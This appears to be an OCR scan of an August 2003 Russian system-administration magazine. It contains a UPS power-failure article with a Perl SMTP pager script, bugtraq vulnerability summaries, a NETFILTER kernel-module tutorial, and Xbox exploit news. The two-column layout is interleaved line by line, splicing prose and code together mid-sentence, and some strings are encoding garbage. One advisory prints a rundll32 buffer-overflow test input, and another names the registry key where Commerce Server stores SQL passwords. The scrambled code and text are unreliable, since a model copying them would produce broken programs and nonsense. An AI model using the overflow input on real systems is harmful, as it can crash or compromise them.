Ðèñóíîê 9.

реходник будет распаян по другой схеме, и ничего у вас


работать не будет.
После того как все было поставлено и заработало,
надеюсь, что у вас, как и у меня, возник вопрос сигнали-
зации.
При пропадании напряжения сервер переходил в ре-
жим выключения, после ждал, что напряжение появится,
Ðèñóíîê 7. и если оно минут через 10 не появлялось, то он сохранял-
ся и выключался сам. При этом отключался и сам ИБП.
Далее, при появлении напряжения все это дело включа-
лось обратно, загружалось и работало. Небольшая слож-
ность была только в настройках BIOS. Так как корпус у
меня ATX, то для него можно прописать, как вести себя
компьютеру в случае пропадания и после появления на-
пряжения. Компьютер может перейти в то состояние в ко-
тором он был до исчезновения электропитания, то есть
включиться, если был включен, или не включаться, если
был выключен. Насколько я помню, пришлось включить
режим включения при появлении напряжения после про-
падания. Так как выключение ИБП случалось через 5 се-
кунд, то компьютер успевал выключиться раньше и ока-
зывался выключенным на момент снятия с него напряже-
ния, поэтому после не включался. В общем, опытным пу-
тем за несколько минут вы разберетесь.
Если пропадает напряжение, то это уже неординарная
Ðèñóíîê 8. ситуация, несмотря на то, что все может само работать,
как описано выше. Это, скорее, небольшое ЧП, так как,
Переходник можно купить готовый или спаять свой при во-первых, пропадает сервис. Каково, если у вас упадет
наличии разъемов и разводки. Разводку и описание сиг- веб-сервер, и вы потеряете вашу хорошую репутацию,
налов можно увидеть в таблице 1. часть клиентов и вместе с ними вашу выгоду. Во-вторых,
В случае приобретения готового переходника советую не факт, что напряжение дадут в разумный срок. Даже у
проверить его разводку тестером. Возможно, что ваш пе- любого мощного дизельного генератора без обслужива-

№8(9), август 2003 59


hardware
ния и дозаправки рано или поздно закончится солярка. В- мости наш народ обязательно что-то придумает, ну а вот
третьих, может зависнуть и что-то другое, поэтому адми- ниже, собственно, скрипт, осуществляющий отсылку со-
нистратора лучше информировать о событиях, связанных общений:
с электропитанием. Логично, что проще всего это делать
через почту, а почта может быть послана на SMS-шлюз #!/usr/local/bin/perl
или наш шлюз пейджинговой компании в качестве пейд- use Socket;
жингового сообщения. При наличии в системе sendmail, $pagermail="xxxxxx\@xxxxxxxx.ru";
$pagersmtp="XX.XX.XX.XX";
qmail или других почтовых программ (MTA, mail transfer
agent) проблема решена, однако вопрос: «Что делать, если $from='server@yyyyyyyy.ru';
$subject ='Server power fail!';
эти программы не должны стоять на сервере, скажем, в $date = localtime time;
целях безопасности, либо для них нет места?». Выход из
########### Send to pager ###########
этой ситуации довольно простой – написать небольшой
скрипт, например на Perl, который бы запускался в нуж- socket(SMTP, PF_INET(), SOCK_STREAM(),6);
connect(SMTP,sockaddr_in(25,inet_aton($pagersmtp)));
ном случае, соединялся бы с заранее определенным recv(SMTP, $buffer, 200, 0);
SMTP-сервером, для которого можно настроить правила
send(SMTP, "HELO pasha\r\n",0);
iptables, и отсылал бы сообщение. Возможно, кто-то по- recv(SMTP, $buffer, 200, 0);
лезным для себя в этой статье найдет только этот скрипт,
send(SMTP, "MAIL FROM: <$from>\r\n",0);
хотя подобные вещи давно уже описаны в различной ли- recv(SMTP, $buffer, 200, 0);
тературе и не раз [2]. Конечно, это порочный круг – слать
send(SMTP, "RCPT TO: <$pagermail>\r\n",0);
сообщения об ошибках через сеть, может же не только recv(SMTP, $buffer, 200, 0);
питание пропасть, но и сеть как раз не работать. Об этом
я упомянул в самом начале, когда говорил о возможности send(SMTP, "DATA\r\n",0);
защиты телефонной линий от некоторых помех средства- recv(SMTP, $buffer, 200, 0);
ми вышенастроенного ИБП. Как вариант можно настро- send(SMTP, "From: $from\r\n",0);
ить модемное соединение, и сервер будет звонить аль- send(SMTP, "To: $pagermail\r\n",0);
send(SMTP, "Subject: $subject\r\n",0);
тернативному провайдеру, однако это тема отдельной ста- send(SMTP, "Mime-Version: 1.0\r\n",0);
тьи по вопросу организации сигнализации на основе ре- send(SMTP, "Content-Type: text/plain; charset=koi8-r\r\n",0);
send(SMTP, "Content-Transfer-Encoding: 8bit\r\n",0);
зервных модемных каналов. Да и наличие отдельной сво-
бодной телефонной линии тоже не всегда имеется. По- send(SMTP, "\r\n",0);
этому это не очень удачный выход. В таком случае лучше send(SMTP, "Power failure. System going to gåðåíîñ ñòðîêè
использовать мобильные терминалы вроде Siemens TC35 poweroff in 10 minutes. $date\r\n",0);
Terminal [3], подключаемые к COM-порту. Это небольшая send(SMTP, "\r\n.\r\n",0);
коробочка, которая подключается к компьютеру, в нее recv(SMTP, $buffer, 200, 0);
#print "SMTP answer on message to pager: $buffer\n";
вставляется обычная SIM-карта для работы GSM-телефо-
нов. К сожалению, терминала, работающего со стандар- send(SMTP, "QUIT\r\n",0);
recv(SMTP, $buffer, 200, 0);
том CDMA, я пока не видел и не слышал о существовании
такового. Далее, компьютер с помощью набора своеоб- close (SMTP);
разных at-команд (GSM 07.05) может посылать вам на
телефон SMS более быстрым и надежным путем, исклю- В нем необходимо вначале вписать адрес SMTP-серве-
чая многие недостаточно надежные элементы. Значитель- ра, который вас пустит к себе и разрешит вам отправлять
но повышается вероятность доставки, так как из общей сообщения $pagermail="xxxxxx\@xxxxxxxx.ru"; и вписать
вероятности отказа исключаются вероятности того, что адрес, на который вы собираетесь посылать сообщения.
небудут работать модем, телефонная линия, коммутато-
ры на АТС, модемы провайдера, непосредственно отсы- $pagersmtp="XX.XX.XX.XX";
лающего вам SMS, телефонная линия будет занята и т. д.
Кому-то это может показаться дорого (около $250 за тер- Еще следует подправить обратный адрес, который
минал) плюс ежемесячная абонентская плата сотовому будет подставляться в ваши письма:
оператору, либо большой кредит. Следует заметить что,
какой-нибудь Pentium 100 может быть еще долго вполне $from='server@yyyyyyyy.ru';
жизнеспособен и по цене быть гораздо дешевле этого
самого терминала. Вопрос же абонентской платы при и другие переменные при необходимости (обратите вни-
желании можно попробовать решить созданием дублика- мание на разницу написания знака @ в случае использо-
та SIM-карты, однако не всякий провайдер поддержит та- вания одинарных и двойных кавычек).
кое начинание и будет гарантировать надежную работу. Для диагностики можно раскомментировать строчку,
Многие умудряются переделать старые мобильные теле- где выводится ответ от сервера. Скорее всего, эта инфор-
фоны для этого, цена от этого получается меньше, на- мация попадет на консоль и в /var/log/messages, будучи
дежность тоже несколько ниже. Как обойти проблему по- перенаправленной средствами вне этого скрипта.
рочного круга при минимуме затрат – это уже другой воп- Данный файл следует сделать запускаемым:
рос, к этой статье прямо не относящийся. При необходи- # chmod +x power_fail

60
hardware
и поместить в директорию /sbin/pager, куда на него уже каться при загрузке системы, например, он будет назы-
ссылается файл powerfail. При повышенных требованиях ваться system_up и будет запускаться из /etc/rc.d/rc.local,
к безопасности следует не забыть установить требуемые см. выше. Считаю необходимым это сделать по той при-
атрибуты у файла. чине, что перезагрузка реально работающего сервера
Данный файл надо запускать из /etc/powerfail, лучше вручную администратором происходит очень редко, реже
фоновым процессом /sbin/pager/power_fail & перед /sbin/ чем раз в полгода и то при профилактическом обслужи-
shutdown –t30 –r +10 "POWER FAILURE", тогда не будет под- вании. Поэтому случаи перезагрузки можно рассматри-
висания системы, если вдруг чего-то не отошлется. Иначе вать на уровне с таким ЧП, как пропадание электропита-
управление ко второй строке может придти не сразу. ния, если не более существенным.

Литература:
1. Борзенко А.Е. IBM PC: устройство, ремонт, модерниза-
ция. – 2-е изд., перераб. и доп. – М.:ТОО фирма «Компь-
ютер Пресс», 1996.
2. Касперски К. Техника сетевых атак. Том 1. – М.: СО-
ЛОН-Р, 2001.
3. SIEMENS TC35 Терминал (функциональные возможно-
сти), http://www.olicom.spb.ru/ts35_4.html, 2003.
4. The UPS Howto: http://www.europe.redhat.com/
documentation/HOWTO/UPS-HOWTO-8.php3; http://
www.europe.redhat.com/documentation/HOWTO/UPS-
HOWTO.php3, 2003.
Ðèñóíîê 10. 5. Тейнсли Д. Linux и UNIX: программирование в shell. Ру-
Аналогичные файлы создаются и на случай появле- ководство разработчика: Пер. с англ. – К.: Издательская
ния напряжения после пропадания power_okay и на слу- группа BHV, 2001.
чай разрядки батарей при пропадании напряжения 6. Митчел М., Оулдем Д., Самьюэл А. Программирование
power_failnow. для Linux. Профессиональный подход.: Пер. с англ. – М.:
Разумно также составить файл, который будет запус- Издательский дом «Вильямс», 2002.

№8(9), август 2003 61


bugtraq

Злонамеренный SMB-пакет может Определение существования


выполнить произвольный код приватного IP-адреса
на системах в пакетном фильтре pf OpenBSD
Windows NT Server 4.0/XP/2000 Уязвимость раскрытия информации обнаружена в пакет-
Уязвимость обнаружена в обработке параметров SMB- ном фильтре pf OpenBSD. Удаленный пользователь мо-
пакетов. Удаленный атакующий может выполнить про- жет раскрыть частный IP-адрес или номер порта.
извольный код на целевой системе. Сообщается, что в некоторых конфигурациях, в ко-
Server Message Block (SMB) – интернет-протокол, ко- торых пакеты перенаправляются с помощью «pf», уда-
торый позволяет Windows-пользователям открывать об- ленный пользователь может выполнить «brute force» на-
щий доступ к файлам, принтерам, серийным портам и падение, конструируя одиночный TCP SYN пакет (на-
связываться между компьютерами, используя имено- пример, к 25 порту) для каждого IP-адреса в приватной
ванные каналы и почтовые сегменты (mail slots). адресной сетке. Система ответит только в случае, если
Недостаток обнаружен в пути, которым сервер про- запрошен существующий IP-адрес.
веряет правильность параметров SMB-пакетов. Когда Способов устранения обнаруженной уязвимости не
система клиента посылает SMB-пакет к серверной си- существует в настоящее время.
стеме, он включает определенные параметры, которые
содержат набор «инструкций» для сервера. В этом слу-
чае сервер не проверяет правильность длины буфера,
установленного пакетом. Если длина буфера, опреде-
ленная клиентом, меньше, чем необходимо, произой- Доступ к зашифрованным паролям
дет переполнение буфера. в Microsoft Commerce Server 2002
Атакующий может сконструировать специально об- Уязвимость обнаружена в Microsoft Commerce Server.
работанный SMB пакет, чтобы переполнить буфер на Локальный пользователь может расшифровать паро-
сервере. В результате может нарушиться целостность ли к SQL-серверу.
данных, работа системы может аварийно завершиться Сообщается, что когда Microsoft Commerce Server кон-
или атакующий может выполнить произвольный код на фигурирован, чтобы использовать авторизацию SQL-
сервере. Для эксплуатации этой уязвимости атакующий cервера, Commerce Server хранит пароли SQL-сервера
должен быть предварительно авторизован на сервере. в реестре Windows в ключе HKEY_LOCAL_MACHINE\
Уязвимость обнаружена в Windows NT Server 4.0/ SOFTWARE\ Microsoft\Commerce Server «ADMINDBPS».
XP/2000. Microsoft оценил риск обнаруженной уязвимо- Согласно сообщению, все локальные пользовате-
сти как «Important». ли в группе «Users» могут читать это значение реест-
Для устранения уязвимости, установите патч, кото- ра. Зашифрованный пароль может быть расшифрован.
рый можно скачать отсюда: Уязвимость обнаружена в Microsoft Commerce
http://microsoft.com/downloads/ Server 2002.
details.aspx?FamilyId=D415A4AC-E13A-4E8A-BE25- Способов устранения обнаруженной уязвимости не
85E7DF686F61&displaylang=en существует в настоящее время.

Переполнение буфера в rundll32.exe


в Microsoft Windows 2000/XP Доступ к системной учетной записи
Переполнение буфера обнаружено в rundll32.exe. Ло- через именованные каналы в Microsoft
кальный пользователь может выполнить произвольный Windows 2000 Terminal Services
код на системе с поднятыми привилегиями. Перепол- Уязвимость обнаружена в Microsoft Windows 2000. Ата-
нение обнаружено в rundll32.exe, когда передается боль- кующий может получить доступ к учетной записи
шая строка как стандартное имя для модуля. Пример: SYSTEM. Сообщается, что Microsoft Windows не в со-
стоянии правильно обрабатывает именованные кана-
rundll32.exe advpack32.dll,<“A”x499> лы с Terminal Services. В результате атакующий (ло-
advpack32.dll выбран в качестве примера. Уязвимость кальный и, возможно, удаленный) может получить до-
работает с любым модулем. ступ к системе с SYSTEM-привилегиями.
Уязвимость обнаружена в WindowsXP SP1. Возмож- Уязвимость обнаружена в Microsoft Windows 2000
но, другие версии также уязвимы. SP3.
Способов устранения обнаруженной уязвимости не Уязвимость устранена в Microsoft Windows 2000 SP4.
существует в настоящее время.
Составил Александр Антипов

62
сети

NETFILTER

ВЛАДИМИР МЕШКОВ

64
сети
Общие сведения При помощи NETFILTER можно перехватить пакет в
NETFILTER – это новый механизм фильтрации сетевых па- любой из этих точек. С этой целью к точке перехвата под-
кетов, появившийся в составе ядра Linux версий 2.4. Дан- ключается ловушка (hook).
ный механизм позволяет отслеживать прохождение паке- Если мы хотим отслеживать все пакеты, поступающие
тов по стеку IP-протокола и при необходимости перехва- на хост (включая транзитные), мы должны подключиться
тить, модифицировать, блокировать любой пакет. На базе к точке PRE_ROUTING.
NETFILTER построен iptables – пакетный фильтр, широко Если нас интересуют пакеты, адресованные непосред-
использующийся при построении межсетевых экранов. ственно нашему (локальному) хосту, то необходимо под-
Для включения NETFILTER в состав ядра необходимо ключиться к точке LOCAL_IN и т. д.
в конфигурационном файле установить опцию CON-
FIG_NETFILTER = y и пересобрать ядро. После этого все Регистрация ловушки
пакеты, проходящие по стеку IPv4-протокола, будут обра- Перед подключением ловушку необходимо зарегистри-
ботаны NETFILTER. Рассмотрим для примера главную при- ровать. Это осуществляется путем заполнения структу-
емную функцию IPv4-протокола ip_rcv (файл ip_input.c). ры nf_hook_ops и вызова функции регистрации ловуш-
Найдем в ней следующий код: ки nf_register_hook(). Аргументом этой функции являет-
ся адрес структуры nf_hook_ops. Структура nf_hook_ops
return NF_HOOK(PF_INET, NF_IP_PRE_ROUTING, skb, dev, ↵ определена в заголовочном файле <linux/netfilter.h>.
NULL, ip_rcv_finish);
Рассмотрим ее:
Обращение к NETFILTER выполняет макрос NF_HOOK.
В вызове макроса указаны протокол (PF_INET), точка пе- struct nf_hook_ops
{
рехвата (NF_IP_PRE_ROUTING), поступивший пакет (струк- struct list_head list;
тура skb), информация о входном и выходном интерфей-
/* User fills in from here down. */
сах (структура dev и NULL, соответственно). В точке пере- nf_hookfn *hook;
хвата пакет попадает в ловушку – так называется функ- int pf;
int hooknum;
ция, которая на основе анализа адресной информации ре-
шает судьбу пакета: либо он пройдет дальше, либо будет /* Hooks are ordered in ascending priority. */
int priority;
уничтожен. Последний аргумент – функция, которая будет };
вызвана для дальнейшей обработки поступившего паке-
та. Эта функция будет вызвана только в том случае, если Основные поля структуры:
NETFILTER пропустит пакет.  nf_hookfn *hook – ловушка, т.е. функция, которая бу-
В случае если NETFILTER в состав ядра не включен дет вызвана для обработки (анализа) пакета. Именно
(опция CONFIG_NETFILTER = n) или ловушка не установ- эта функция решает, что сделать с пакетом – отбро-
лена, макрос сразу вызовет функцию ip_rcv_finish для сить его или принять.
дальнейшей обработки пакета.  int pf – протокол. Для IPv4 это значение равно PF_INET.
Цель данной статьи – рассмотреть возможность при-  int hooknum – точка подключения ловушки.
менения NETFILTER при написании собственных модулей  int priority – приоритет. К одной точке может быть под-
фильтрации сетевого трафика. ключено несколько ловушек. Чтобы установить поря-
док их вызова, вводится приоритет. Ловушка с самым
Точки перехвата низким приоритетом первой обработает пакет.
Рассмотрим схему прохождения пакета по стеку IPv4-
протокола (рис.1). Поступивший на сетевой интерфейс Прототип функции-ловушки также определен в файле
пакет попадает в точку PRE_ROUTING. Если пакет ад- <linux/netfilter.h> и выглядит следующим образом:
ресован локальному хосту, ядро передает его для обра-
ботки локальному процессу (точка LOCAL_IN). Если па- typedef unsigned int nf_hookfn(unsigned int hooknum,
struct sk_buff **skb,
кет транзитный, из точки PRE_ROUTING он попадает в const struct net_device *in,
точку FORWARD и из нее двигается дальше в точку const struct net_device *out,
int (*okfn)(struct sk_buff *));
POST_ROUTING. В этой точке объединяются в один по-
ток исходящие пакеты, сформированные локальными Аргументы функции:
процессами (LOCAL_OUT), и транзитные пакеты, посту-  unsigned int hooknum – точка подключения ловушки (оп-
пившие из точки FORWARD. ределяется в структуре nf_hook_ops).
 struct sk_buff **skb – двойной указатель на структуру
sk_buff. Данная структура содержит полную информа-
цию о сетевом пакете. Определена в файле <linux/
skbuff.h>.
 const struct net_device *in, *out – информация о вход-
ном и выходном интерфейсе.

Перечень возвращаемых функцией значений перечис-


Ðèñ. 1. Ñõåìà ïðîõîæäåíèÿ ïàêåòà ïî ñòåêó Ipv4-ïðîòîêîëà. лен в файле <linux/netfilter.h>.

№8(9), август 2003 65


сети
Пример использования NETFILTER const struct net_device *indev,
const struct net_device *outdev,
Рассмотрим на простом примере, как использовать int (*okfn)(struct sk_buff *)) {
NETFILTER. Разработаем модуль ядра, выполняющий сле-
iph = (*pskb)->nh.iph;
дующие действия: pkt->iph_len = iph->ihl<<2;
 перехват и блокирование IP-пакета, адресованного ло- pkt->pkt_len = (*pskb)->len;
кальному хосту; memset((*pskb)->data+pkt->iph_len,0, ↵
 передачу перехваченного IP-пакета пользовательско- ((*pskb)->len)-(pkt->iph_len));
memcpy(pkt->buff,(*pskb)->data,(*pskb)->len);
му процессу.
printk("Indev - %s\n",(char *)indev);
printk("Outdev - %s\n",(char *)outdev);
Пользовательский процесс, приняв пакет, отображает
данные о нем, такие как IP-адреса отправителя и получа- pkt_ready = 1;
return NF_DROP;
теля, длину заголовка, длину всего пакета, и сбрасывает
содержимое пакета в файл. }
Ловушка активизируется в момент открытия устрой-
ства пользовательским процессом. При закрытии устрой- Аргументы функции были перечислены выше. Функ-
ства ловушка отключается. ция заполняет поля структуры pkt данными о перехвачен-
ном пакете. Эти данные содержатся в структуре struct
Модуль sk_buff **pskb. Объединение nh данной структуры содер-
Модуль является символьным устройством. Создадим для жит заголовок сетевого уровня (network layer header), поле
него файл устройства командой: len – длину IP-пакета, поле data – содержимое пакета. Эти-
ми значениями заполняется структура pkt, причем поле
mknod /dev/nf_ip c 76 0 данных IP-пакета обнуляется. После этого устанавлива-
ется флаг готовности данных для считывания и ядру да-
Заголовочные файлы и переменные: ется команда блокировать дальнейшее прохождение дан-
ного пакета (return NF_DROP).
#include <linux/config.h> Заполним структуру struct nf_hook_ops:
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h> static struct nf_hook_ops our_ops = {
#include <linux/slab.h> {NULL,NULL},
#include <linux/fs.h> our_hook,
#include <linux/types.h> PF_INET,
#include <asm/uaccess.h> NF_IP_LOCAL_IN,
NF_IP_PRI_FILTER-1
Приняв сетевой пакет, модуль заполняет информаци- };
онную структуру следующего содержания:
Ловушка подключается к точке LOCAL_IN, на что ука-
struct ip_pkt { зывает значение NF_IP_LOCAL_IN поля hooknum струк-
__u16 iph_len;
__u32 pkt_len; туры nf_hook_ops. Следовательно, перехвачен и блоки-
char buff[65536]; рован будет пакет, адресованный локальному хосту.
} *pkt;
Теперь определимся с функциями устройства (моду-
Эта структура будет передана пользовательскому про- ля). Пользовательский процесс должен открыть его, про-
цессу. Назначение полей структуры: читать данные и закрыть. Следовательно, структура
 __u16 iph_len – длина заголовка IP-пакета; file_operations для данного устройства выглядит следую-
 __u32 pkt_len – длина IP-пакета; щим образом:
 char buff[65536] – содержимое IP-пакета (заголовок +
данные). struct file_operations nf_fops = {
read: read_pkt,
open: open_pkt,
Размер буфера buff равен максимальной длине паке- release: close_pkt,
};
та протокола IPv4.
Структура заголовка IP-пакета: Рассмотрим эти функции.
 Функция открытия устройства:
struct iphdr *iph;
static int open_pkt(struct inode *inode, struct file *file)
{
Флаг готовности данных для считывания: if(MOD_IN_USE) return -EBUSY;
if(MINOR(inode->i_rdev) != 0) return -ENODEV;
if((file->f_mode) != 1) return -EBUSY;
int pkt_ready;
pkt=(struct ip_pkt *)kmalloc ↵
(sizeof(struct ip_pkt),GFP_ATOMIC);
Функция-ловушка: nf_register_hook(&our_ops);
pkt_ready = 0;
MOD_INC_USE_COUNT;
static unsigned int our_hook (
return 0;
unsigned int hook, }
struct sk_buff **pskb,

66
сети
При открытии устройства выделяем память для струк- Заголовочные файлы:
туры pkt, регистрируем ловушку вызовом функции
nf_register_hook и сбрасываем флаг готовности данных. #include <stdio.h>
#include <sys/types.h>
 Функция чтения из устройства: #include <unistd.h>
#include <fcntl.h>
#include <errno.h>
static ssize_t read_pkt(struct file *file, char *buf, ↵ #include <linux/ip.h>
size_t count, loff_t *ppos)
{ int main ()
if(pkt_ready) { {
copy_to_user(buf,pkt,sizeof(struct ip_pkt));
count = pkt->pkt_len;
file->f_pos += count; Структура, содержащая информацию о принятом па-
pkt_ready = 0;
return count; кете:
}
return 0;
} struct data_pkt {
u_short iph_len;
u_long len;
Если флаг pkt_ready установлен, блок данных (струк- char buff[65536];
} data;
тура pkt) копируется в адресное пространство пользова-
тельского процесса. После этого флаг pkt_ready сбрасы- Структура, описывающая заголовок IP-пакета:
вается. Функция возвращает длину принятого IP-пакета.
 Функция закрытия устройства: struct iphdr ip;
int count=0;
static int close_pkt(struct inode *inode, struct file *file) int fddev=0;
{ int d;
kfree(pkt);
nf_unregister_hook(&our_ops); puts("\nÆäåì ïàêåò ... ");
MOD_DEC_USE_COUNT;
return 0;
} Обнуляем структуры:

При закрытии устройства освобождается память, вы- memset(&data,0,sizeof(struct data_pkt));


memset(&ip,0,sizeof(struct iphdr));
деленная для структуры pkt и ловушка отключается пу-
тем вызова функции nf_unregister_hook. Аргументом этой Открываем устройство:
функции является адрес структуры struct nf_hook_ops.
 Функции инициализации и выгрузки модуля выполня- fddev=open("/dev/nf_ip",O_RDONLY);
if(fddev<0) {
ют стандартную процедуру регистрации и снятия ре- perror("nf_ip");
гистрации устройства в системе: exit(0);
}

int init_module(void) Запускаем цикл ожидания IP-пакета:


{
if (register_chrdev(76,"nf_ip",&nf_fops)) return -EIO;
return 0; for(;;) {
}
count=read(fddev,(char *)&data,sizeof(struct data_pkt));
void cleanup_module(void)
{ if(count < 0) {
if(MOD_IN_USE) return; perror("count");
unregister_chrdev(76,"nf_ip"); return (-1);
return; }
} if(count == 0) continue;
if(count > 0) {
close(fddev);
Приведенный выше код сохраним в файле netf.c. Для break;
получения загружаемого модуля ядра создадим Makefile }
}
следующего содержания:
Как только приходит пакет, закрываем устройство и
CC = gcc выходим из цикла.
CFLAGS = -O2 -Wall
LINUX = /usr/src/linux Информируем о приходе пакета и отображаем данные
MODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/include о нем:
netf.o: netf.c
$(CC) $(CFLAGS) $(MODFLAGS) -c netf.c printf("ïàêåò ïîëó÷åí.\n\n");
printf("Äëèíà ïàêåòà\t-\t%d\n",data.len);
printf("Äëèíà IP-çàãîëîâêà\t-\t%d\n",data.iph_len);
Теперь рассмотрим пользовательский процесс.
Запишем в файл содержимое полученного пакета (поле
Пользовательский процесс buff структуры struct data_pkt):
Пользовательский процесс после запуска открывает файл
устройства и считывает из него IP-пакет, отображает дан- d=open("data.file",O_CREAT|O_TRUNC|O_RDWR,0600);
if(!d) {
ные о нем и сбрасывает содержимое пакета в файл data.file. perror("data.file");

№8(9), август 2003 67


сети
return (-1); 00000030 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00
} 00000040 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00
00000050 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00
if(!(write(d,data.buff,data.len))) {
perror("data.file");
return (-1); Первые 20 байт – это заголовок пакета. По смещению
} 0x0C находятся IP-адреса источника и получателя – DF
close(d); DF 01 0A (223.223.1.10) и DF DF 01 03 (223.223.1.3). Поле
данных IP-пакета обнулено.
Первые (data.iph_len) байт массива data.buff – это за- Теперь изменим условие задачи – будем перехваты-
головок принятого IP-пакета. Скопируем его в структуру вать и блокировать пакеты, исходящие с локального хос-
struct iphdr и отобразим данные: та. Для этого переключим ловушку в точку LOCAL_OUT.
В структуре our_ops в поле hooknum занесем значение
memcpy(&ip,data.buff,data.iph_len); NF_IP_LOCAL_OUT, т.е. структура примет вид:
printf("\nSource IP\t-\t%s\n",inet_ntoa(ip.saddr));
printf("Destin. IP\t-\t%s\n",inet_ntoa(ip.daddr));
printf("Ïðîòîêîë\t-\t%d\n",ip.protocol); static struct nf_hook_ops our_ops = {
printf("Äëèíà çàãîëîâêà\t-\t%d\n",ip.ihl<<2); {NULL,NULL},
printf("Äëèíà ïàêåòà\t-\t%d\n\n",ntohs(ip.tot_len)); our_hook,
PF_INET,
return (0); NF_IP_LOCAL_OUT,
NF_IP_PRI_FILTER-1
} };

Приведенный код сохраним в файле pkt_read.c. Полу- Перекомпилируем и загружаем модуль, запускаем
чим исполняемый модуль, введя команду: пользовательский процесс и удаленному хосту отправля-
ем три ICMP-пакета:
gcc -o pkt_read pkt_read.c
ping -c3 223.223.1.10
Теперь проверим, как все это работает. Схема следу-
ющая: имеется локальный хост с адресом 223.223.1.3 и Результат работы команды ping:
удаленный с адресом 223.223.1.10. С локального хоста
отправляем три ICMP-пакета удаленному при помощи ути-
литы ping и смотрим за реакцией системы.
Загружаем модуль (insmod netf.o) и запускаем на вы-
полнение пользовательский процесс (pkt_read).
Удаленному хосту отправляем три ICMP-пакета:

ping -c3 223.223.1.10


Первый пакет в сеть не попал – был заблокирован мо-
Результат работы команды ping: дулем. Следующие два прошли беспрепятственно.
Таким образом, при помощи NETFILTER мы получили
возможность воздействовать на процесс прохождения
пакетов по стеку IPv4-протокола, перехватывать их, бло-
кировать, изменять их содержание. Это может оказаться
полезным, если вы решите разработать собственный мо-
дуль фильтрации сетевого трафика, учета статистики тра-
Как и ожидалось, первый пакет потерян. Наш модуль фика, шифрования IP-пакетов и т. д.
его заблокировал. Пользовательский процесс выдал сле-
дующую информацию об этом пакете:

А теперь посмотрим на содержимое файла data.file.


Размер этого файла равен длине пакета (84 байт). От-
крыв его 16-тиричным редактором, увидим следующее:

00000000 45 00 00 54 | 01 6C 00 00 | FF 01 F8 70 | DF DF 01 0A
00000010 DF DF 01 03 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00
00000020 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00

68
bugtraq
сети

Целочисленное переполнение буфера «С тех пор, как о наших попытках установить контакт с
в Xbox Microsoft стало известно общественности, нас обвиняют
Так называемая группа Free-X утверждает, что ей уда- в намерении вымогательства или шантажа Microsoft, но
лось преодолеть все уровни защиты игровой консоли без это неправда, так как мы сделали все возможное, чтобы
каких-либо модификаций аппаратуры, чем навлекла на связаться с Microsoft», – говорится в заявлении одного из
себя резкую критику со стороны Microsoft. Free-X утверж- членов группы.
дает также, что соответствующий эксплоит уже разослан Free-X предложила Microsoft описание всех разрабо-
через список рассылки. танных группой эксплоитов, помощь по защите консоли
Члены группы рассказали ZDNet Australia, что Free-X от других атак, исходные коды, полную конфиденциаль-
честно пыталась договориться с Microsoft и просила вы- ность и дальнейшие исследования в области эксплоитов
пустить загрузчик Linux с цифровой подписью, позволя- для Xbox. «Наша команда всей душой желала сотрудни-
ющий владельцам Xbox исполнять операционную систе- чать с Microsoft, и мы, скорее всего, приняли бы все пред-
му с открытым исходным кодом без каких-либо модифи- ложенные нам условия», – говорится в заявлении.
каций аппаратуры и вскрытия консоли. Microsoft не всту- Представительница Microsoft сказала, что предложе-
пила в переговоры. ния группы «оцениваются».
Представители группы отвергают обвинения в по- Если то, в чем уверяет Free-X, правда, группа может
творстве пиратам и в свою очередь обвиняют компа- претендовать на приз в 100 тыс. $, обещанный генераль-
нию в отказе защитить интеллектуальную собствен- ным директором компании Lindows Майклом Робертсо-
ность разработчиков игры. По их словам, загрузчик с ном первой группе, которой удастся установить на консо-
цифровой подписью не позволил бы использовать кон- ли Linux без модификации аппаратуры.
соль для пиратских игр, а тот, что разработала Free-X,
– позволяет. Free-X утверждает, что у нее нет намере-
ния способствовать пиратству. «Если бы Microsoft со- ZoneAlarm Pro 4.0 теряет часть правил
гласилась на Linux с цифровой подписью... нелегаль- при обновлении с предыдущей версии
ное использование пиратского ПО можно было бы пре- Уязвимость обнаружена в ZoneAlarm Pro 4.0. Некоторые
дотвратить, – говорится в заявлении Free-X. – Жаль, правила блокирования подключений не поддерживают-
что Microsoft не разделяет нашего беспокойства по по- ся в новой версии. Пользователи, обновившие firewall
воду защиты прав интеллектуальной собственности до новой версии, могут потерять часть правил в процес-
тех, кто разрабатывает ПО для их консоли». се обновления. Как описано в документации к ZoneAlarm
Microsoft, которая очень далека от того, чтобы признать Pro, правила «port rules for Programs» в предыдущей вер-
деятельность группы антипиратской, обрушилась на нее сии программы автоматически преобразуются к «expert
с резкой критикой. «К вашему и этих... типов сведению, rules» при обновлении к версии 4.0. Однако некоторые
отделение Microsoft Xbox очень серьезно относится к пи- правила не будут преобразованы, поскольку они не под-
ратству видеоигр, – сообщила ZDNet Australia по e-mail держиваются в новой версии. «expert rules» не могут ис-
представительница Microsoft. – Защита интеллектуаль- пользоваться для блокировки определенных программ
ной собственности и авторских прав – наших и наших на исходящие подключения к определенному порту. На-
партнеров – высший приоритет для нас, и мы оставляем пример, правило, которое запрещает Outlook Express
за собой право преследовать каждого и принимать меры использовать 80 порт, не будет преобразовано.
против каждого, кто способствует пиратству видеоигр». Уязвимость обнаружена в ZoneAlarm Pro 4.0
Несколько недель назад, когда члены группы впервые
обратились к ZDNet Australia, они не сказали, что распо-
лагают таким серьезным эксплоитом, а сообщили, что все Подделка RSA-сигнатур
их разработки требуют перепайки нескольких выводов на в SSH Secure Shell
системной плате Xbox. Теперь Free-X утверждает, что кон- Уязвимость авторизации обнаружена в SSH Secure
соль можно модифицировать чисто программным спосо- Shell в SSH IPSEC Express Toolkit. Удаленный пользо-
бом, и Microsoft упустила время. ватель может подделать RSA-сигнатуры.
«Сегодня для Microsoft очень печальный день, – го- Сообщается, что некоторые RSA-сигнатуры могут
ворится в заявлении Free-X. – Месяц назад мы начали быть неправильно определены как допустимые, при вы-
попытки связаться с корпорацией, так как разработа- полнении host- или user-идентификации, используя
ли и испытали первое полностью программное реше- цифровые сертификаты и RSA-ключи. Уязвимость воз-
ние мод-чипа. Это означает, что открывать корпус Xbox действует на выполнение RSA PKCS v1.5.
больше не нужно». Уязвимость обнаружена в SSH Secure Shell 3.1.0 –
Единственный способ для Microsoft защитить свою кон- 3.1.7 and 3.2.0 – 3.2.4; SSH IPSEC Express Toolkit 5.0.0
